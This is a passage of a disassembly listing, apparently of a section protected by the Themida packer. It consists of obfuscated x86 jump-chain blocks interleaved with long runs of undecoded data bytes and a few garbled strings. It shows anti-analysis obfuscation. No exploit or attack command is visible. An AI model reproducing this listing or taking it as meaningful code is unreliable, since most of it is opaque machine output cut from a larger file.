		dd 0EA81665Ch, 0F7662E8Eh, 7DCFE9D2h, 0C166FFFFh, 565205E5h
		dd 0FFEF31E9h, 0EE815BFFh, 58E429C1h, 0FFD336E9h, 240C33FFh
		dd 3124248Bh, 0D0E92404h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62814F:				; CODE XREF: Themida_:00622941j
		add	edi, 28062054h
		jmp	loc_620E79
; ---------------------------------------------------------------------------


loc_62815A:				; CODE XREF: Themida_:00621D00j
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_61FCA8
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8E902ECh, 1FFFF5Fh, 0D72158C2h, 0C7814F5Ah, 23772F1Bh
		dd 815FFD29h, 0E3C2C2EDh, 0E9E83151h, 0FFFFBDFCh, 17FDBD66h
		dd 8FBF6657h, 0D7F76655h, 30E95766h, 89FFFFD7h,	6E77E9E3h
		dd 0F201FFFFh, 0FFC9A1E9h, 0CBF381FFh, 8118F20Bh, 0EA4D0CF3h
		dd 0C8BD552Bh, 4512DF11h, 0ED81EDD1h, 7FA44B59h, 6865C581h
		dd 26E97870h, 5FFFFF9Ch, 5C241C87h, 24048966h, 0FF403EE9h
		dd 98B65AFFh, 74C680h, 74EE80E6h, 7D26E958h, 0C201FFFFh
		dd 8324048Bh, 0EA8104C4h, 4, 8B241487h,	14892424h, 0E99C5024h
		dd 0FFFF400Fh, 76DBE381h, 0EB8140E7h, 539818FAh, 22B8C381h
		dd 0DFE92B7Ah, 8BFFFF52h, 0C483241Ch, 0E9C104h,	840FC00Bh
		dd 0FFFF5576h, 81E78957h, 4C7h,	4BE5600h, 29000000h, 0DDE95EF7h
		dd 81FFFF40h, 4EDh, 242C8700h, 8924248Bh, 0FBE92414h, 50FFFF6Fh
		dd 2A0A7BB8h, 58C18936h, 8159CF29h, 1A2074EFh, 8BFA29D6h
		dd 0C481243Ch, 4, 0FF3F9AE9h, 0FFF830FFh, 1C8B2434h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 0FFB064E9h, 52D101FFh, 1188C288h
		dd 0E95A595Ah, 0FFFFF4FEh
; ---------------------------------------------------------------------------


loc_6282B0:				; CODE XREF: Themida_:006284CBj
		add	eax, 4
		jmp	loc_62858D
; ---------------------------------------------------------------------------


loc_6282BA:				; CODE XREF: Themida_:0062169Dj
		xor	esi, [esp]
		mov	esp, [esp]
		push	1250h
		mov	[esp], edx
		jmp	loc_6248EF
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 48E92404h, 0D2FFFF3Fh, 0E99C243Ch, 0FFFF3F3Fh, 24048F5Eh
		dd 0FFDEAFE9h, 0E18951FFh, 464DBD55h, 0DDF74149h, 1D5BE581h
		dd 0DDF772BBh, 0FFB68h,	243C8900h, 0B141BFBFh, 0C7814779h
		dd 539CA529h, 555FFD31h, 236891BDh, 3BC58136h, 10F81C0h
		dd 0E9815DE9h, 25449B8h, 0C181E901h, 25449B8h, 28CCE981h
		dd 815D45A5h, 4C1h, 240C3300h, 0E9240C31h, 0FFFFFDF9h
		dd 0FF3ED2E9h, 6EFC1FFh, 47B4C781h, 0E1E9FE96h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62835B:				; CODE XREF: Themida_:006212FCj
		mov	edx, 4B384E92h
		push	edx
		xor	dword ptr [esp], 32C746B3h
		pop	edi
		jmp	loc_62587A
; ---------------------------------------------------------------------------
		dw 0DD29h
		dd 57DDF75Bh, 64089CBFh, 0D0B85010h, 1458452h, 8FE958C7h
		dd 68FFFFBCh, 7797h, 89243C89h,	4C781E7h, 0E9000000h, 0FFFFA4F5h
		dd 0F749D9F7h, 47F181D1h, 0E920C67Bh, 0FFFF722Dh
; ---------------------------------------------------------------------------


loc_6283AC:				; CODE XREF: Themida_:0061D1F8j
		mov	ebx, [esp]
		jmp	loc_6265EA
; ---------------------------------------------------------------------------
		dd 4C481h, 68530000h, 2, 0FFB865E9h, 4EC81FFh, 89000000h
		dd 39BE2434h, 894AFC17h, 6FE95EF1h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6283DB:				; CODE XREF: Themida_:006212A4j
		add	esp, 4
		inc	ebx
		push	ebp
		push	edx
		mov	edx, 45DB2E96h
		add	edx, 34B50F1Dh
		mov	ebp, edx
		pop	edx
		jmp	loc_625677
; ---------------------------------------------------------------------------


loc_6283F7:				; CODE XREF: Themida_:00626269j
		pop	esp
		mov	[esp], ebx
		push	3C49h
		jmp	loc_61DFD4
; ---------------------------------------------------------------------------
		db 89h,	0CDh, 8Bh
		dd 0E0E9240Ch, 81FFFF87h, 0C87C57E9h, 0A0BD5573h, 2915E842h
		dd 0C8295DE9h, 8BC22959h, 0C4832404h, 3CB85004h, 2942997Ah
		dd 6E12E9C2h, 0B252FFFFh, 84F28085h, 0FF617AE9h, 5FFB29FFh
		dd 3040BF57h, 0FB297E24h, 0FFF748E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_628451:				; CODE XREF: Themida_:0061F8BEj
		pop	edx
		inc	cl
		sub	cl, 82h
		add	al, cl
		pop	ecx
		push	ecx
		mov	cl, 0CBh
		neg	cl
		jmp	loc_625280
; ---------------------------------------------------------------------------
		dd 0C9E95150h, 0BBFFFF85h, 78C7E570h, 315BDD29h, 242C8BE8h
		dd 0FF5479E9h, 0E9FA01FFh, 0FFFFB4CAh
; ---------------------------------------------------------------------------


loc_628484:				; CODE XREF: Themida_:006227A0j
		add	eax, 765936BDh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_61C8C8
; ---------------------------------------------------------------------------
dword_628494	dd 24048B66h, 4EC8150h,	54000000h, 0FF9C86E9h
					; DATA XREF: Themida_:0061C0A4o
		db 0FFh
; ---------------------------------------------------------------------------


loc_6284A5:				; CODE XREF: Themida_:0061E476j
		shr	eax, 18h
		xor	eax, ecx
		push	103Eh
		mov	[esp], eax
		xchg	ebp, [esp]
		push	7A0Ah
		mov	[esp], ebp
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_6282B0
; ---------------------------------------------------------------------------
		dd 8F04C483h, 665C2404h, 0E924048Bh, 0FFFFD46Eh, 24048F59h
		dd 2404205Ch, 3D31E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6284EE:				; CODE XREF: Themida_:006223E9j
		add	dword ptr [esp], 4
		jmp	loc_623A53
; ---------------------------------------------------------------------------
		dw 0D828h
		dd 1A2C312Ch, 7DE9882Ch, 89FFFF7Dh, 0C4BD242Ch,	4D4F8450h
		dd 5C9A68h, 24348900h, 93737ABEh, 0E9F52946h, 0FFFFBD95h
		dd 5B2434FFh, 0FFB582E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62852D:				; CODE XREF: Themida_:00621BEAj
		xchg	ebp, [esp]
		pop	esp
		movsx	ecx, al
		push	21FEh
		mov	[esp], ecx
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0BBh
		dd 81FFFF7Fh, 4C4h, 4C18100h, 83000000h, 0FF5102C1h, 59042474h
		dd 8B24048Fh, 8B662424h, 89572404h, 97E951E7h, 89FFFFC7h
		dd 1BB9240Ch, 0C17DDC0Ch, 0BD5507E9h, 1, 0A5E9E929h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_628587:				; CODE XREF: Themida_:00622666j
		pop	eax
		jmp	loc_625D3E
; ---------------------------------------------------------------------------


loc_62858D:				; CODE XREF: Themida_:006282B5j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_61F92C
; ---------------------------------------------------------------------------


loc_628599:				; CODE XREF: Themida_:00623E00j
		mov	ah, 41h
		mov	ch, ah
		pop	ax
		add	al, ch
		pop	ecx
		add	al, 8Dh
		add	al, bl
		jmp	loc_61D87B
; ---------------------------------------------------------------------------


loc_6285AB:				; CODE XREF: Themida_:00625598j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 1FE222E2h
		sub	eax, 22FE139Ch
		jmp	loc_626B05
; ---------------------------------------------------------------------------


loc_6285D8:				; CODE XREF: Themida_:0062614Dj
		push	6914h
		mov	[esp], eax
		xchg	ebp, [esp]
		push	ebp
		not	dword ptr [esp]
		jmp	loc_62792D
; ---------------------------------------------------------------------------
		dd 4BAh, 0E9EB8100h, 81700371h,	4B7467EBh, 81D32909h, 4B7467C3h
		dd 0E9C38109h, 5A700371h, 615C68h, 241C8900h, 42474FFh
		dd 0FF6C6CE9h, 24048BFFh, 0E95B5453h, 0FFFF90D1h
; ---------------------------------------------------------------------------


loc_628628:				; CODE XREF: Themida_:00623A4Ej
		pop	esi
		jmp	loc_627382
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 6E19C781h, 50514A95h, 0A6E6856h, 0E95E392Ah,	0FFFFB996h
		dd 0E556859h, 3C890000h, 565DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_628652:				; CODE XREF: Themida_:00627869j
		sub	ebx, ecx
		sub	ebx, 332C5C66h
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 1F8044ACh
		add	ebx, edi
		sub	ebx, 1F8044ACh
		add	ebx, 32E3579h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		add	edx, ebx
		add	dword ptr [edx], 1
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_623245
; ---------------------------------------------------------------------------


loc_628696:				; CODE XREF: Themida_:006213F3j
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 2
		push	edi
		push	286Dh
		jmp	loc_627C29
; ---------------------------------------------------------------------------


loc_6286AF:				; CODE XREF: Themida_:0061EC7Ej
		xor	edi, 3A2660B5h
		sub	eax, edi
		pop	edi
		add	eax, 25A24380h
		xor	eax, 4A8B347Ch
		sub	ebx, eax
		jmp	loc_62000C
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 5Eh
		dd 290144F1h, 241C8BDEh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_6239B6
; ---------------------------------------------------------------------------


loc_6286E8:				; CODE XREF: Themida_:0062504Bj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		not	eax
		xchg	eax, esi
		xor	eax, esi
		xor	esi, eax
		jmp	loc_621C70
; ---------------------------------------------------------------------------
		db 0B8h
		dd 564729C5h, 1E9C389h,	8BFFFFEDh, 8B662424h, 57552404h
		dd 0C781E789h, 4, 0FF9DB8E9h, 1D2D48FFh, 0D68FB5Dh, 31BF2443h
		dd 0E1499935h, 0D6CBE9CAh, 0E1C1FFFFh, 0E9814107h, 0F872DA7h
		dd 0C4E9CA31h, 5CFFFFEFh, 89241489h, 0E951E2h, 1FFFF5Ah
		dd 3C335DEFh, 243C3124h, 5C243C33h, 0FF7514E9h,	4EC81FFh
		dd 89000000h, 61E9243Ch, 81FFFFEDh, 0C68FBC7h, 0E9FB011Dh
		dd 0FFFF6493h, 81240C8Bh, 4C4h,	0C3FEE900h, 0EB94FFFFh
		dd 96A97C90h, 6BFCF889h, 6BFC006Ah, 0FF20006Ah,	2300012h
		dd 80210040h, 217006Ah,	20000h,	10000h,	40000h,	96A90000h
		dd 0F889h, 4 dup(0)
		dd 0FC130000h, 0D0A0062h, 4BA50063h, 0A9EF0063h, 100B0062h
		dd 0EEC80063h, 0C22A0062h, 9E770062h, 6A0062h, 0E0D50063h
		dd 0EEB90062h, 0C25A0062h, 8C050062h, 0AE5C0062h, 0DEB40062h
		dd 0F00A0062h, 0ABFB0062h, 0EB0C0062h, 0D7D40062h, 9DD80062h
		dd 0E1D70062h, 26480062h, 1DEA0063h, 948E0063h,	8C290062h
		dd 3D560062h, 5730063h,	97AA0063h, 0F8EB0062h, 14E60062h
		dd 110A0063h, 24EF0063h, 0DE50063h, 0F0290063h,	0FBBA0062h
		dd 0E4900062h, 338F0062h, 0EE520063h, 0B9CA0062h, 0B9F80062h
		dd 48E80062h, 0A2F80063h, 0AC450062h, 42FC0062h, 25F20063h
		dd 0C0FD0063h, 3B8D0062h, 17650063h, 226C0063h,	96520063h
		dd 11460062h, 1CD80063h, 0AB560063h, 0E6D80062h, 0CDC10062h
		dd 9C8D0062h, 0BB0B0062h, 3DC90062h, 0C60F0063h, 6150062h
		dd 0FB7A0063h, 320B0062h, 98CA0063h, 1A490062h,	2FA20063h
		dd 16310063h, 2BF0063h,	0B8CF0063h, 0E2260062h,	0ADFC0062h
		dd 0FEC60062h, 15810062h, 9D870063h, 3AE00062h,	0A2B20063h
		dd 74C0062h, 15170063h,	0AB970063h, 0F6D80062h,	197B0062h
		dd 0AB3A0063h, 97810062h, 0EA830062h, 32BB0062h, 0B2C90063h
		dd 0E68A0062h, 0A6060062h, 18580062h, 4DE70063h, 99D30063h
		dd 0D58D0062h, 4DD20062h, 9270063h, 0DAA90063h,	38580062h
		dd 95800063h, 0EB060062h, 3B640062h, 8D450063h,	36BC0062h
		dd 1BE50063h, 0D04C0063h, 0A13F0062h, 0B0DC0062h, 4F490062h
		dd 30860063h, 0C1050063h, 0F1000062h, 0B73C0062h, 25910062h
		dd 9B310063h, 478A0062h, 8AE80063h, 0E590062h, 483F0063h
		dd 302C0063h, 271E0063h, 1F6D0063h, 0FF6B0063h,	0A4F50062h
		dd 2B580062h, 45230063h, 232F0063h, 4CFF0063h, 4F9B0063h
		dd 0AD0D0063h, 8D1C0062h, 0ABB40062h, 0E3140062h, 8F650062h
		dd 21DB0062h, 0ECB00063h, 0AFC50062h, 0CCF40062h, 0A1D10062h
		dd 0CE290062h, 994D0062h, 1B520062h, 0A6380063h, 0F8770062h
		dd 0D5460062h, 0C07A0062h, 0A4E40062h, 0DC690062h, 0C50C0062h
		dd 0B3060062h, 1CB40062h, 5C90063h, 0F2830063h,	2B640062h
		dd 2F7E0063h, 0CBB80063h, 0C6850062h, 0DE520062h, 0F2620062h
		dd 0C0F50062h, 99560062h, 0E11D0062h, 51DC0062h, 3DA00063h
		dd 31260063h, 4C060063h, 0CF9F0063h, 0FCE10062h, 29EF0062h
		dd 15BA0063h, 0BE1E0063h, 9C600062h, 0E8FCh, 815F0000h
		dd 0D8F3D5EFh, 81C78B07h, 0D8F0EDC7h, 2C473B07h, 13EB0275h
		dd 0B92C4789h, 0A7h, 440105EBh,	0B49408Fh, 8BF775C9h, 8B242474h
		dd 0B9F003DEh, 1, 0FF0C033h, 75304FB1h
		db 0F7h
; ---------------------------------------------------------------------------


loc_628ABD:				; CODE XREF: Themida_:00629536j
					; Themida_:00629727j ...
		lodsb
		push	dx
		mov	dh, 51h
		sub	al, dh
		pop	dx
		add	al, bl
		jmp	loc_633576
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0F2h
		dd 1E3269C2h, 8C3BE9h, 24048900h, 0C6240481h, 0E9666C7Bh
		dd 22B3h, 24048B66h, 0E9595451h, 88CFh
; ---------------------------------------------------------------------------


loc_628AF4:				; CODE XREF: Themida_:0062D66Bj
		push	dword ptr [esp]
		pop	ebx
		push	eax
		jmp	loc_6320DD
; ---------------------------------------------------------------------------


loc_628AFE:				; CODE XREF: Themida_:0062F7F6j
		push	ebp
		push	3BBC1AEAh
		pop	ebp
		or	ebp, 19516F5Bh
		push	edi
		push	eax
		mov	eax, 0D3F03FCh
		mov	edi, eax
		pop	eax
		xor	edi, 54AF7F68h
		xor	edi, 2BD317B7h
		sub	edi, 6B901FFAh
		xor	ebp, edi
		jmp	loc_62E993
; ---------------------------------------------------------------------------


loc_628B2E:				; CODE XREF: Themida_:00629F85j
		sub	ecx, ebp
		jmp	loc_62FF9E
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0FFh
		dd 0F71D2E7Ah, 5EE950D7h, 3100004Dh, 2434FFD8h,	6954E9h
		dd 81D6F700h, 8F0BCBEEh, 2C815657h, 566E0424h, 0C181594Fh
		dd 4F566E04h, 0A673E95Eh, 89660000h, 0E4B62414h, 5A66F028h
		dd 0E404E828h, 81B15166h, 283CE9h, 0E9E3D100h, 1E12h
; ---------------------------------------------------------------------------


loc_628B88:				; CODE XREF: Themida_:00633B7Bj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		jmp	loc_63170C
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 4B951h, 2E90000h, 8B00000Bh, 61E9242Ch
		dd 8F000046h, 85E92404h, 89000046h, 0E6892434h,	0E99E955h
		dd 0E9530000h, 803Bh
; ---------------------------------------------------------------------------


loc_628BC8:				; CODE XREF: Themida_:0062AC69j
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_62B5D0
; ---------------------------------------------------------------------------


loc_628BDD:				; CODE XREF: Themida_:0062C60Aj
		push	esi
		xor	dword ptr [esp], 592A26B1h
		pop	edx
		xor	edx, 592A26B1h
		mov	esi, [esp]
		jmp	loc_629499
; ---------------------------------------------------------------------------
		dd 7171BE56h, 0EE810440h, 4B5C7548h, 0DE8E9h, 0C8B6600h
		dd 0E1895124h, 0F67E9h,	2434FF00h, 0C206E9h, 4C48300h
		dd 489468h, 24148900h, 633E9h, 292DAD00h, 0E905112Fh, 60A6h
		dd 2ABE565Dh, 51727350h, 735026B9h, 0E9CE2972h,	31BDh
		dd 42474FFh, 24048F5Ah,	87E0E9h, 6EAC100h, 426EEA81h, 0D689C961h
		dd 5EF5215Ah, 0C105E5C1h, 62E902E5h, 5E000099h,	0E2D1C209h
		dd 141368h, 24048900h, 24B8h, 0BA525500h, 789D4325h, 515CA5BDh
		dd 5AD53166h, 0A782E9h,	0CFF6600h, 1EE99C24h, 0BAFFFFFEh
		dd 1B972B37h, 15AD689h,	2434FFF3h, 0E089505Eh, 4B951h
		dd 81E90000h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_628CBB:				; CODE XREF: Themida_:00632B80j
		add	ebx, 0F2CFCECDh
		add	esi, ebx
		jmp	loc_63211D
; ---------------------------------------------------------------------------
a1Zs4		db '1Z4',0
		align 10h
a0S2e		db '02',0
		dw 0E900h
		dd 0FFFFFDE1h, 0F631A68h, 24148B78h, 0F704C483h, 0E2EA81DAh
		dd 8987F09Ch, 24148BD5h, 0E9E78957h, 889Ah, 0E9D6F746h
		dd 17C2h, 68241C8Bh, 720Bh, 89241C89h, 82B951E3h, 0E96A435Fh
		dd 0ADF5h, 240C8B66h, 0BB76E9h
		db 0
; ---------------------------------------------------------------------------


loc_628D25:				; CODE XREF: Themida_:00630EF9j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_62C7BA
; ---------------------------------------------------------------------------
		db 59h
		dd 5D2434FFh, 5059E9h, 1E7E6800h, 3C890000h, 0F5BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_628D52:				; CODE XREF: Themida_:0062C791j
		pop	esp
		mov	[esp], esi
		mov	esi, edx
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, edi
		mov	edi, [esp]
		jmp	loc_629A3A
; ---------------------------------------------------------------------------
aWicrsD		db 'WRd',0
		align 2
		dw 8951h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 0EA814A5Ch, 3E980866h
		dd 7FB1E281h, 0F2811687h, 0C1017B3Dh, 55AD531h,	35A806F9h
		dd 51A4E9h, 0C4815A00h,	4, 5C241C87h, 91EBE9h, 4C38100h
		dd 87000000h, 0E95C241Ch, 0FFFFFCF5h, 8B66D000h, 0C4832414h
		dd 0E95A2C02h, 0B8C4h, 0BA01E958h, 34FF0000h, 77E95824h
		dd 0C1000007h, 0CCE903E9h, 3300007Fh, 575C2434h, 7703C5BFh
		dd 4EC817Fh, 89000000h,	0CABB241Ch, 16CCF22h, 5B08245Ch
		dd 4244481h, 43E32F0Ch,	1A0FE9h
		db 0
; ---------------------------------------------------------------------------


loc_628E19:				; CODE XREF: Themida_:0062BCBBj
		add	ebp, 2D1F28D4h
		dec	ebp
		not	ebp
		xor	ebp, 0E42E91B5h
		or	ebx, ebp
		pop	ebp
		dec	ebx
		or	ebx, 10FA50EAh
		dec	ebx
		jmp	loc_62C35A
; ---------------------------------------------------------------------------
		dd 80A6B551h, 3AE9E1F5h, 680000AFh, 441Eh, 0B9240C89h
		dd 2, 0E2685655h, 5E08A021h, 69E1E9h, 25E95600h, 5C00009Eh
		dd 0E930FF66h, 54CCh, 335EF001h, 4312404h, 24043324h, 0E924248Bh
		dd 0FFFFFC3Dh, 5725C381h, 10E96461h, 5C000050h,	581EE9h
		db 0
; ---------------------------------------------------------------------------


loc_628E91:				; CODE XREF: Themida_:0063104Aj
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_632409
; ---------------------------------------------------------------------------
		dd 5057E389h, 4B8h, 0A245E900h,	0F7800000h, 0E9F8285Dh
		dd 6C65h
; ---------------------------------------------------------------------------


loc_628EB4:				; CODE XREF: Themida_:00631822j
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_62B33C
; ---------------------------------------------------------------------------
		dw 0ECD0h
		dd 805AC480h, 0E1303CECh, 8BCE3058h, 0C483240Ch, 0BDE68004h
		dd 703368h, 240C8900h, 0D9F68CB1h, 0E1D0C9FEh, 45A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_628EF1:				; CODE XREF: Themida_:00634986j
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	2DBBh
		mov	[esp], ebp
		mov	ebp, 7AF40516h
		jmp	loc_62D52C
; ---------------------------------------------------------------------------
		dw 0FE87h
aGset		db 'Ge',0
		align 2
		dw 0F381h
		dd 0EECF3BFBh, 0E95BDF01h, 12DCh
; ---------------------------------------------------------------------------


loc_628F24:				; CODE XREF: Themida_:00630A5Bj
		or	ecx, 77187F03h
		shl	ecx, 8
		not	ecx
		add	ecx, 1E7FCF05h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 4
		jmp	loc_6314E0
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0C2810000h, 4, 8FEAE9h, 0FB5FE900h, 0D2F7FFFFh
		dd 0A77E9h, 48B6600h, 119F6824h, 2C890000h, 52E58924h
		dd 4AE3E9h, 0FDEB8100h,	8123596Fh, 677D5BCBh, 65E9504Bh
		dd 810000B0h, 8C1370EBh, 1C335A68h, 8A3FE924h, 0E3800000h
		dd 2BF3804Ah, 0FE5BDC28h, 0B773E9C4h, 0C3010000h, 0ADC0E9h
		dd 0E9C15B00h, 58C18108h, 8114A201h, 490B91C1h,	0ABD7E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_628FC6:				; CODE XREF: Themida_:00634738j
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		jmp	loc_6345FB
; ---------------------------------------------------------------------------


loc_628FD9:				; CODE XREF: Themida_:0062D881j
		or	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4E9A3103h
		xor	ebp, 27653C7Ah
		shr	ebp, 1
		push	1369h
		mov	[esp], edi
		jmp	loc_6293BB
; ---------------------------------------------------------------------------
		dd 3CF5BE56h, 0E68116BAh, 941486Ch, 5EC9C681h, 0F3295110h
		dd 40EF815Eh, 8133FA6Ah, 3443A9C7h, 0E0EF8116h,	147435Dh
		dd 0E0C781DFh, 8147435Dh, 3443A9EFh, 40C78116h,	0E933FA6Ah
		dd 48D9h, 0E1C0C1FEh, 0E9C1FE04h, 6EB1h, 8758C729h, 665C243Ch
		dd 0E9240489h, 0FFFFFA65h, 4246C81h, 43E32F0Ch,	22CABA52h
		dd 54296CCFh, 0CEE90824h, 10000B5h, 8E6859CBh, 8900004Ch
		dd 268242Ch, 8B000000h,	0C481242Ch, 4, 6C58B951h, 0E181232Dh
		dd 45A24D86h, 21FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_629099:				; CODE XREF: Themida_:0062A96Fj
		pop	esp
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 72005783h
		add	ebx, 8DFFA881h
		jmp	loc_62E88A
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 7063BA1h, 0C381C329h, 7063BA1h, 564868h, 24048900h
		dd 242CEDB8h, 1BB534Eh,	0E9000000h, 168Eh, 895EF389h, 5E575BDFh
		dd 85A6E9h, 0BB5300h, 81000000h, 0E06517C3h, 81D3017Fh
		dd 0E06517EBh, 4EC837Fh, 0E9241489h, 967Bh
; ---------------------------------------------------------------------------


loc_629100:				; CODE XREF: Themida_:0062BC04j
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_62C771
; ---------------------------------------------------------------------------
		dd 33D7F781h, 0AAE90CB9h, 83000048h, 9AE904C4h,	0E9FFFFF9h
		dd 0FFFFF995h, 2404895Ch, 286AE9h, 4AE94300h, 0BDFFFFFAh
		dd 4A8D3701h, 0F581D5F7h, 68621627h, 0DED8ED81h, 0B5E9DD10h
		dd 0B900004Bh, 13E1BAAh, 4E68E950h, 0C890000h, 4EC8124h
		dd 89000000h, 59E92424h, 3100007Bh, 0DFF759CFh,	35D8B951h
		dd 0E9C128A6h, 0E905h, 0E1C10000h, 0EFF18104h, 810F1B3Bh
		dd 0A371E1F1h, 0CFBE937h, 0CB890000h, 1F2CE959h, 0EC880000h
		dd 58BE9h, 0EC815B00h, 2, 241C8966h, 0F661B151h, 2CC980D1h
		dd 0C075B450h, 0ECC007E4h, 6DFEE903h, 51580000h, 233C79B9h
		dd 0E9CE2909h, 39BAh, 4C481h, 0BD550000h, 59594B8Bh, 1765E9h
		db 0
; ---------------------------------------------------------------------------


loc_6291E1:				; CODE XREF: Themida_:0062F9E0j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2CE153F3h
		xchg	ebp, ebx
		neg	ebp
		xchg	ebp, ebx
		shl	ebx, 5
		or	ebx, 47496914h
		add	ebx, 0D09F512Eh
		jmp	loc_62DBFC
; ---------------------------------------------------------------------------


loc_629207:				; CODE XREF: Themida_:0062F6AAj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_62D331
; ---------------------------------------------------------------------------


loc_629221:				; CODE XREF: Themida_:0063360Ej
		or	eax, 776C7B7Dh
		sub	eax, 5CF27CD5h
		xor	ebx, eax
		jmp	loc_62CAA5
; ---------------------------------------------------------------------------
aGdS		db 'G]ӷ',0
		align 4
		dd 0C8BC801h, 4C48324h,	8704C083h, 0E95C2404h, 75A8h, 4B9h
		dd 0E9CB0100h, 94Ah, 14BA5256h,	0BE782E15h, 637D5027h
		dd 0A9E9D631h, 21000094h, 0B033E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_629276:				; CODE XREF: Themida_:00634329j
		pop	edx
		add	ecx, 3C9F7695h
		add	ecx, 7EC82BC0h
		add	ecx, eax
		push	ebx
		mov	ebx, 7EC82BC0h
		sub	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3C9F7695h
		add	ecx, 572710B1h
		jmp	loc_629592
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 5C241487h, 0A10DE9h
		db 0
; ---------------------------------------------------------------------------


loc_6292B9:				; CODE XREF: Themida_:0062C7C1j
		pop	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		jmp	loc_62EDEA
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95704C4h, 7CC6h, 8104C483h, 0EDC43CC5h, 69E9E9EFh
		dd 74FF0000h, 0B4E90424h, 5B000010h, 0E959CF89h, 3C1Dh
		dd 8F04C483h, 0BA685200h, 89000054h, 0A8682434h, 5E248801h
		dd 75EDBD55h, 0EE01264Dh, 4431E9h
		db 0
; ---------------------------------------------------------------------------


loc_629319:				; CODE XREF: Themida_:006320E0j
		mov	edx, 5BDA06B7h
		neg	edx
		jmp	loc_62A582
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 7
		dd 0EBD1F281h, 0D0016367h, 5112E9h, 0E95A6600h,	6E93h
; ---------------------------------------------------------------------------


loc_62933C:				; CODE XREF: Themida_:0062E3ECj
		pop	eax
		xor	ebp, 25441h
		jmp	loc_632ABC
; ---------------------------------------------------------------------------
		dd 1D3E6858h, 2C890000h, 565D5424h, 4BEh, 5EF50100h, 4B951h
		dd 0E9520000h, 3B81h, 5024048Fh, 9B30E9h, 4EC8300h, 0E9240C89h
		dd 0A2EEh
; ---------------------------------------------------------------------------


loc_62937C:				; CODE XREF: Themida_:0062B764j
		add	esp, 4
		push	esi
		mov	esi, 7A63E0Fh
		jmp	loc_63215C
; ---------------------------------------------------------------------------
		db 5Eh,	29h, 10h
		dd 0E924148Bh, 9F99h
; ---------------------------------------------------------------------------


loc_629398:				; CODE XREF: Themida_:006300A9j
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_62DE6B
; ---------------------------------------------------------------------------
a341434LSc	db '34$14$34$$$(',0
		db 0
; ---------------------------------------------------------------------------


loc_6293BB:				; CODE XREF: Themida_:00628FF7j
		mov	edi, 5976760Fh
		jmp	loc_6345BC
